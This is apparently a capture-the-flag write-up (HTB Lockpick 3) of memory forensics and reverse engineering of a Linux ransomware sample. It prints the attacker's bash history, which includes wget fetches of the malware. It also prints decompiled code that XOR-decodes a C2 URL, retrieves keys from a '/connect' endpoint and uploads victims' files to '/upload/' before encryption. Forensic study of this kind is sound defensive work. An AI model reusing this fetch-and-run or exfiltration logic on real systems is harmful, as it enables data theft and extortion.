## Description The threat actors of the Lockpick variant of Ransomware seem to have increased their skillset. Thankfully on this occasion they only hit a development, non production server. We require your assistance performing some reverse engineering of the payload in addition to some analysis of some relevant artifacts. Interestingly we can't find evidence of remote access so there is likely an insider threat.... Good luck! Please note on the day of release this is being utilised for a workshop, however will still be available (and free). ## Solution ##### The challenge gives me three types of files: two memdump files from the attacked machine and one malicious ELF file. ![image](https://hackmd.io/_uploads/HyuN7vjJge.png) ##### First, I will analyze the memory dump file with Volatility 2. However, I don't have an available profile on the Internet. ##### Let's build it. I will proceed to determine information about the operating system and kernel using the Banners plugin of Volatility 3. ``` ┌──(kali㉿kali)-[~/Personal/CTF/volatility3] └─$ python3 vol.py -f /home/kali/Downloads/HTB/lockpick3/ubuntu-client-Snapshot2.vmem banners.Banners Volatility 3 Framework 2.26.1 Progress: 100.00 PDB scanning finished Offset Banner 0x32857fa8 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246) 0x600001a0 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246) 0x61b9de54 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246) ``` ##### It is easy to see that this file was dumped from the Ubuntu 20.04 OS and is using the kernel 5.4.0-163. ##### You can use two ways to build the profile: It uses Docker or you can build a virtual machine directly. (I choose option 2.) ##### For the OS, I downloaded the ISO file from[here](https://releases.ubuntu.com/focal/) ##### With kernel i downloads 3 file ![image](https://hackmd.io/_uploads/H1doHvsyle.png) | File Name | Purpose | |:----------|:--------| | `linux-headers-5.4.0-163_5.4.0-163.180_all.deb` | Provides kernel header files needed to compile external kernel modules (e.g., device drivers). Essential for development and building modules against this specific kernel version. | | `linux-image-5.4.0-163-generic_5.4.0-163.180_amd64.deb` | Contains the actual Linux kernel binary (`vmlinuz`) that the system will boot into. It includes the core operating system components for the 5.4.0-163 kernel version. | | `linux-modules-5.4.0-163-generic_5.4.0-163.180_amd64.deb` | Provides loadable kernel modules (`.ko` files) such as device drivers and additional kernel features that are not built directly into the main kernel image. | ##### Next, create a file named module.dwarf from the `~/volatility/tools/linux` directory. ``` test@test-VirtualBox:~/volatility/tools/linux$ make make -C //lib/modules/5.4.0-163-generic/build CONFIG_DEBUG_INFO=y M="/home/test/volatility/tools/linux" modules make[1]: Entering directory '/usr/src/linux-headers-5.4.0-163-generic' CC [M] /home/test/volatility/tools/linux/module.o Building modules, stage 2. MODPOST 1 modules CC [M] /home/test/volatility/tools/linux/module.mod.o LD [M] /home/test/volatility/tools/linux/module.ko make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-163-generic' dwarfdump -di module.ko > module.dwarf make -C //lib/modules/5.4.0-163-generic/build M="/home/test/volatility/tools/linux" clean make[1]: Entering directory '/usr/src/linux-headers-5.4.0-163-generic' CLEAN /home/test/volatility/tools/linux/Module.symvers make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-163-generic' ``` ##### Okay, now compress the file module.dwarf that was newly created and the System files from the /boot directory. ![image](https://hackmd.io/_uploads/HJh7wPs1xl.png) ##### Finally, copy it to the `volatility/volatility/plugins/overlays/linux/` directory. ![image](https://hackmd.io/_uploads/S134wPi1gx.png) ##### I used the linux_bash plugin to see the bash commands the attacker used. ``` Volatility Foundation Volatility Framework 2.6.1 Pid Name Command Time Command -------- -------------------- ------------------------------ ------- 636 bash 2024-06-03 10:49:04 UTC+0000 passwd 636 bash 2024-06-03 10:49:04 UTC+0000 apt update 636 bash 2024-06-03 10:49:04 UTC+0000 shutdown now 636 bash 2024-06-03 10:49:04 UTC+0000 apt upgrade 636 bash 2024-06-03 10:49:04 UTC+0000 apt install cloud-init cloud-initramfs-growroot openssh-server open-vm-tools 636 bash 2024-06-03 10:49:09 UTC+0000 passwd 636 bash 2024-06-03 10:49:32 UTC+0000 ??V 636 bash 2024-06-03 10:49:32 UTC+0000 nano /etc/ssh/sshd_config 636 bash 2024-06-03 10:50:23 UTC+0000 systemctl start ssh 636 bash 2024-06-03 10:50:30 UTC+0000 ip a 636 bash 2024-06-03 10:51:41 UTC+0000 nano /etc/ssh/sshd_config 636 bash 2024-06-03 10:53:22 UTC+0000 systemctl restart shh 636 bash 2024-06-03 10:53:29 UTC+0000 sudo 636 bash 2024-06-03 10:53:29 UTC+0000 systemctl restart ssh 636 bash 2024-06-03 11:21:30 UTC+0000 ls 636 bash 2024-06-03 15:31:03 UTC+0000 sudo apt-get install apache2 636 bash 2024-06-03 15:31:22 UTC+0000 sudo apt-get update 636 bash 2024-06-03 15:31:25 UTC+0000 sudo apt-get update 636 bash 2024-06-03 15:31:25 UTC+0000 sudo apt-get install apache2 --fix-missing 636 bash 2024-06-03 15:31:36 UTC+0000 sudo apt-get install apache2 --fix-missing 636 bash 2024-06-03 15:32:05 UTC+0000 nano note.txt 636 bash 2024-06-03 15:32:27 UTC+0000 ls 636 bash 2024-06-03 15:32:44 UTC+0000 ./ubuntu-client xGonnaGiveIt2Ya 636 bash 2024-06-03 15:33:27 UTC+0000 sudo apt-get install libssl3-dev 636 bash 2024-06-03 15:34:45 UTC+0000 sudo apt-get update 636 bash 2024-06-03 15:35:54 UTC+0000 sudo apt-get install libssl-dev 636 bash 2024-06-03 15:36:00 UTC+0000 ./ubuntu-client xGonnaGiveIt2Ya 636 bash 2024-06-03 15:36:22 UTC+0000 sudo apt-get upgrade -y 636 bash 2024-06-03 15:40:24 UTC+0000 ./ubuntu-client xGonnaGiveIt2Ya 636 bash 2024-06-03 15:50:54 UTC+0000 ls 636 bash 2024-06-03 15:50:57 UTC+0000 rm ubuntu-client 636 bash 2024-06-03 15:51:02 UTC+0000 ??~V 636 bash 2024-06-03 15:51:02 UTC+0000 636 bash 2024-06-03 15:51:02 UTC+0000 ip a 22683 bash 2024-06-03 15:51:25 UTC+0000 passwd 22683 bash 2024-06-03 15:51:25 UTC+0000 apt update 22683 bash 2024-06-03 15:51:25 UTC+0000 ./ubuntu-client 22683 bash 2024-06-03 15:51:25 UTC+0000 apt install cloud-init cloud-initramfs-growroot openssh-server open-vm-tools 22683 bash 2024-06-03 15:51:25 UTC+0000 apt upgrade 22683 bash 2024-06-03 15:51:25 UTC+0000 ls 22683 bash 2024-06-03 15:51:25 UTC+0000 mdkir /share 22683 bash 2024-06-03 15:51:25 UTC+0000 mkdir /share 22683 bash 2024-06-03 15:51:25 UTC+0000 wget http://10.10.0.70:8123/ubuntu-client 22683 bash 2024-06-03 15:51:25 UTC+0000 wget http://10.10.0.70:8000/ubuntu-client 22683 bash 2024-06-03 15:51:25 UTC+0000 shutdown now 22683 bash 2024-06-03 15:51:25 UTC+0000 chmod +x ubuntu-client 22683 bash 2024-06-03 15:51:25 UTC+0000 ls 22683 bash 2024-06-03 15:51:26 UTC+0000 ls 22683 bash 2024-06-03 15:51:38 UTC+0000 ./ubuntu-client xGonnaGiveIt2Ya 22683 bash 2024-06-03 15:54:24 UTC+0000 sudo apt-get install libcjson-dev 22683 bash 2024-06-03 15:54:31 UTC+0000 ./ubuntu-client xGonnaGiveIt2Ya ``` ![image](https://hackmd.io/_uploads/rkbK_voJxx.png) ##### We saw that the hacker connected via SSH, after downloading the ubuntu-client file onto the machine. ##### The hacker ran it with the argument `xGonnaGiveIt2Ya` and removed it. ##### This shows that the file ubuntu-client is highly likely to be malicious. ### Task 1 : Please confirm the file hash of the malware? (MD5) ``` ┌──(kali㉿kali)-[~/Downloads/HTB/lockpick3] └─$ md5sum ubuntu-client a2444b61b65be96fc2e65924dee8febd ubuntu-client ``` > a2444b61b65be96fc2e65924dee8febd ### Task 2 : Please confirm the XOR string utilised by the attacker for obfuscation? ##### Open the file `ubuntu-client` in IDA to analyze. However, when I debug, it says that the `libcrypto.so.1.1` library is missing. ``` ┌──(kali㉿kali)-[~/Downloads/HTB/lockpick3] └─$ ida64 ubuntu-client qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 458, resource id: 26117247, major code: 40 (TranslateCoords), minor code: 0 qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 1015, resource id: 26120040, major code: 40 (TranslateCoords), minor code: 0 /home/kali/Downloads/HTB/lockpick3/ubuntu-client: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory Oops, IDA has almost crashed! (signum=11) zsh: segmentation fault ida64 ubuntu-client ``` ##### I downloaded the lib, and it is [here](https://packages.debian.org/bullseye/amd64/libssl1.1/download) ![image](https://hackmd.io/_uploads/S1_B9Diylg.png) ##### It is the main function. ```C __int64 __fastcall main(int a1, char **a2, char **a3) { unsigned int v3; // eax unsigned int v4; // eax unsigned int v5; // eax unsigned int v6; // eax unsigned int v7; // eax unsigned int v8; // eax unsigned int v9; // eax unsigned int v11; // [rsp+14h] [rbp-31Ch] char *s; // [rsp+18h] [rbp-318h] _BYTE v13[256]; // [rsp+20h] [rbp-310h] BYREF _BYTE v14[256]; // [rsp+120h] [rbp-210h] BYREF _BYTE v15[264]; // [rsp+220h] [rbp-110h] BYREF unsigned __int64 v16; // [rsp+328h] [rbp-8h] v16 = __readfsqword(0x28u); s = a2[1]; v3 = strlen(s); sub_29CA(&unk_6020, 46LL, s, v3); v4 = strlen(s); sub_29CA(&unk_6054, 7LL, s, v4); v5 = strlen(s); sub_29CA(&unk_604E, 6LL, s, v5); v6 = strlen(s); sub_29CA(&unk_6060, 19LL, s, v6); v7 = strlen(s); sub_29CA(&unk_6080, 42LL, s, v7); v8 = strlen(s); sub_29CA(&unk_60C0, 172LL, s, v8); v9 = strlen(s); sub_29CA(&unk_6180, 108LL, s, v9); v11 = -1; if ( !(unsigned int)sub_2A34(v13, v14, v15, 256LL) ) { sub_2EEB(v13, v14, v15); v11 = 0; } sub_380B(*a2); return v11; } ``` ##### After getting the argument and saving it in the s variable, it uses the sub_29CA function and different memory areas. ``` __int64 __fastcall sub_29CA(__int64 a1, signed int a2, __int64 a3, int a4) { __int64 result; // rax signed int i; // [rsp+24h] [rbp-4h] for ( i = 0; ; ++i ) { result = (unsigned int)i; if ( i >= a2 ) break; *(_BYTE *)(i + a1) ^= *(_BYTE *)(i % a4 + a3); } return result; } ``` ##### This function will encode or alter the data at memory a1 using a sequence of bytes from memory a3, with each byte being XORed with another byte in the sequence based on the index i % a4. (I will rename function to xor) > xGonnaGiveIt2Ya ### Task 3 : What is the API endpoint utilised to retrieve the key? ##### After completing the xor functions, it will use "if" and check the `sub_2A34` function. ``` if ( !(unsigned int)sub_2A34(v13, v14, v15, 256LL) ) ``` <details> <summary> Sub_2A34 function </summary> ```C __int64 __fastcall sub_2A34(char *a1, char *a2, char *a3) { __int64 ObjectItem; // rax __int64 v4; // rax __int64 v5; // rax unsigned int v8; // [rsp+2Ch] [rbp-134h] __int64 v9; // [rsp+48h] [rbp-118h] __int64 v10; // [rsp+50h] [rbp-110h] __int64 v11; // [rsp+58h] [rbp-108h] void *ptr[2]; // [rsp+60h] [rbp-100h] BYREF char s[48]; // [rsp+70h] [rbp-F0h] BYREF char v14[64]; // [rsp+A0h] [rbp-C0h] BYREF _BYTE v15[120]; // [rsp+E0h] [rbp-80h] BYREF unsigned __int64 v16; // [rsp+158h] [rbp-8h] v16 = __readfsqword(0x28u); v8 = -1; ptr[0] = malloc(1uLL); ptr[1] = 0LL; v10 = curl_easy_init(1LL); sub_2D7D(v15); v11 = curl_slist_append(0LL, "Content-Type: application/json"); snprintf(s, 0x2EuLL, "%s", byte_6020); snprintf(v14, 0x37uLL, "%s%s", s, "/connect"); if ( v10 ) { curl_easy_setopt(v10, 10002LL, v14); curl_easy_setopt(v10, 10015LL, v15); curl_easy_setopt(v10, 20011LL, sub_2E1D); curl_easy_setopt(v10, 10001LL, ptr); curl_easy_setopt(v10, 10023LL, v11); if ( !(unsigned int)curl_easy_perform(v10) ) { v9 = cJSON_Parse(ptr[0]); ObjectItem = cJSON_GetObjectItem(v9, "key"); snprintf(a1, 0x100uLL, "%s", *(const char **)(ObjectItem + 32)); v4 = cJSON_GetObjectItem(v9, "iv"); snprintf(a2, 0x100uLL, "%s", *(const char **)(v4 + 32)); v5 = cJSON_GetObjectItem(v9, "client_id"); snprintf(a3, 0x100uLL, "%s", *(const char **)(v5 + 32)); if ( a1 ) { if ( a2 ) v8 = 0; } } } free(ptr[0]); curl_easy_cleanup(v10); curl_slist_free_all(v11); cJSON_Delete(v9); return v8; } ``` </details> ``` snprintf(s, 0x2EuLL, "%s", byte_6020); ``` -> Copy the xored data from the byte_6020 array into s. ``` snprintf(v14, 0x37uLL, "%s%s", s, "/connect"); ``` -> Merge the string s with the string "/connect". ![image](https://hackmd.io/_uploads/H1gqiqskgx.png) -> If CURL initialization is successful, continue. ```C v9 = cJSON_Parse(ptr); ``` -> Parse JSON data from HTTP response ```C ObjectItem = cJSON_GetObjectItem(v9, "key"); snprintf(a1, 0x100uLL, "%s", *(const char **)(ObjectItem + 32)); v4 = cJSON_GetObjectItem(v9, "iv"); snprintf(a2, 0x100uLL, "%s", *(const char **)(v4 + 32)); v5 = cJSON_GetObjectItem(v9, "client_id"); snprintf(a3, 0x100uLL, "%s", *(const char **)(v5 + 32)); ``` -> Get the "key" field from the JSON and copy it to a1 and get the "iv" field from JSON and copy it to a2. -> Get the "client_id" field from JSON and copy it to a3. ##### Because the key is taken from v14, I will debug the v14 variable. #####The file is run with a parameter, so we choose `debugger -> process option` before debugging ![image](https://hackmd.io/_uploads/ryFZCcokel.png) ##### Set a breakpoint below `snprintf(v14, 0x37uLL, "%s%s", s, "/connect");` ![image](https://hackmd.io/_uploads/Bytt09jklg.png) ![image](https://hackmd.io/_uploads/HJlMxojJex.png) > https://plankton-app-3qigq.ondigitalocean.app/connect ### Task 4: What is the API endpoint utilised for upload of files? ![image](https://hackmd.io/_uploads/rkkrWjiJlg.png) ##### If the condition is true, the function sub_2EEB will be called. <details> <summary> sub_2EEB </summary> ```C unsigned __int64 __fastcall sub_2EEB(__int64 a1, __int64 a2, __int64 a3) { DIR *dirp; // [rsp+20h] [rbp-10C0h] struct dirent *v6; // [rsp+28h] [rbp-10B8h] stat stat_buf; // [rsp+30h] [rbp-10B0h] BYREF char s[8]; // [rsp+C8h] [rbp-1018h] BYREF char filename[16]; // [rsp+D0h] [rbp-1010h] BYREF unsigned __int64 v10; // [rsp+10D8h] [rbp-8h] v10 = __readfsqword(0x28u); snprintf(s, 7uLL, "%s", aW4); dirp = opendir(s); if ( dirp ) { while ( 1 ) { v6 = readdir(dirp); if ( !v6 ) break; snprintf(filename, 0x1000uLL, "%s/%s", aW4, v6->d_name); if ( !(unsigned int)sub_3B80(filename, &stat_buf) ) { if ( (stat_buf.st_mode & 0xF000) == 0x4000 ) { if ( strcmp(v6->d_name, ".") && strcmp(v6->d_name, "..") ) sub_2EEB(a1, a2, a3); } else if ( !(unsigned int)sub_30D5(v6->d_name) && !(unsigned int)sub_31EB(filename, a3) ) { sub_355A(filename, a1, a2); } } } } return __readfsqword(0x28u) ^ v10; } ``` </details> ``` snprintf(s, 7uLL, "%s", aW4); ``` -> S gets the value of aW4 ("/sh"). ```C while ( 1 ) { v6 = readdir(dirp); if ( !v6 ) break; snprintf(filename, 0x1000uLL, "%s/%s", aW4, v6->d_name); if ( !(unsigned int)sub_3B80(filename, &stat_buf) ) { if ( (stat_buf.st_mode & 0xF000) == 0x4000 ) { if ( strcmp(v6->d_name, ".") && strcmp(v6->d_name, "..") ) sub_2EEB(a1, a2, a3); } else if ( !(unsigned int)sub_30D5(v6->d_name) && !(unsigned int)sub_31EB(filename, a3) ) { sub_355A(filename, a1, a2); } } } ``` -> This code browses individual folders and files. If a valid file (valid for the sub_30D5 and sub_31EB functions) is found, it executes sub_355A(filename, a1, a2); (if it is a folder, it will be recursive). ##### The function sub_30D5 checks if the file extension is in the allowed list. ##### The sub_31EB function reads a file and uploads it to a server via the HTTP protocol. ```C= __int64 __fastcall sub_31EB(char *a1, const char *a2) { unsigned int v3; // eax __int64 v4; // rdi unsigned int v5; // [rsp+1Ch] [rbp-1184h] __int64 v6; // [rsp+40h] [rbp-1160h] char *v7; // [rsp+48h] [rbp-1158h] FILE *stream; // [rsp+50h] [rbp-1150h] __int64 v9; // [rsp+58h] [rbp-1148h] struct stat stat_buf; // [rsp+70h] [rbp-1130h] BYREF char v11[48]; // [rsp+100h] [rbp-10A0h] BYREF char v12[80]; // [rsp+130h] [rbp-1070h] BYREF char s[32]; // [rsp+180h] [rbp-1020h] BYREF unsigned __int64 v14; // [rsp+1198h] [rbp-8h] v14 = __readfsqword(0x28u); malloc(1uLL); v7 = __xpg_basename(a1); snprintf(s, 0x100FuLL, "X-Filename: %s", v7); stream = fopen(a1, "rb"); if ( !stream ) return 0xFFFFFFFFLL; v3 = fileno(stream); v4 = v3; if ( (unsigned int)sub_3BA0(v3, &stat_buf) ) { fclose(stream); return 0xFFFFFFFFLL; } else { v9 = curl_easy_init(v4); v6 = curl_slist_append(0LL, s); snprintf(v11, 0x2EuLL, "%s", byte_6020); if ( v9 ) { snprintf(v12, 0x4BuLL, "%s%s%s", v11, "/upload/", a2); curl_easy_setopt(); curl_easy_setopt(); curl_easy_setopt(); curl_easy_setopt(); curl_easy_setopt(); curl_easy_setopt(); curl_easy_setopt(); curl_easy_setopt(); v5 = curl_easy_perform(v9); } curl_easy_cleanup(v9); curl_slist_free_all(v6); fclose(stream); return v5; } } ``` ##### The upload URL is formed by merging the string byte_6020 and "/upload/". > https://plankton-app-3qigq.ondigitalocean.app/upload ##### Continue, malware encrypt file with sub_355A function ![image](https://hackmd.io/_uploads/SJ3oLjskeg.png) ![image](https://hackmd.io/_uploads/r1wlDijyel.png) ### Task 5 : What is the name of the service created by the malware? ![image](https://hackmd.io/_uploads/BkJgS3oyel.png) > ubuntu_running.service ### Task 6 : What is the technique ID utilised by the attacker for persistence? ![image](https://hackmd.io/_uploads/HkFv-3syxl.png) > T1543.002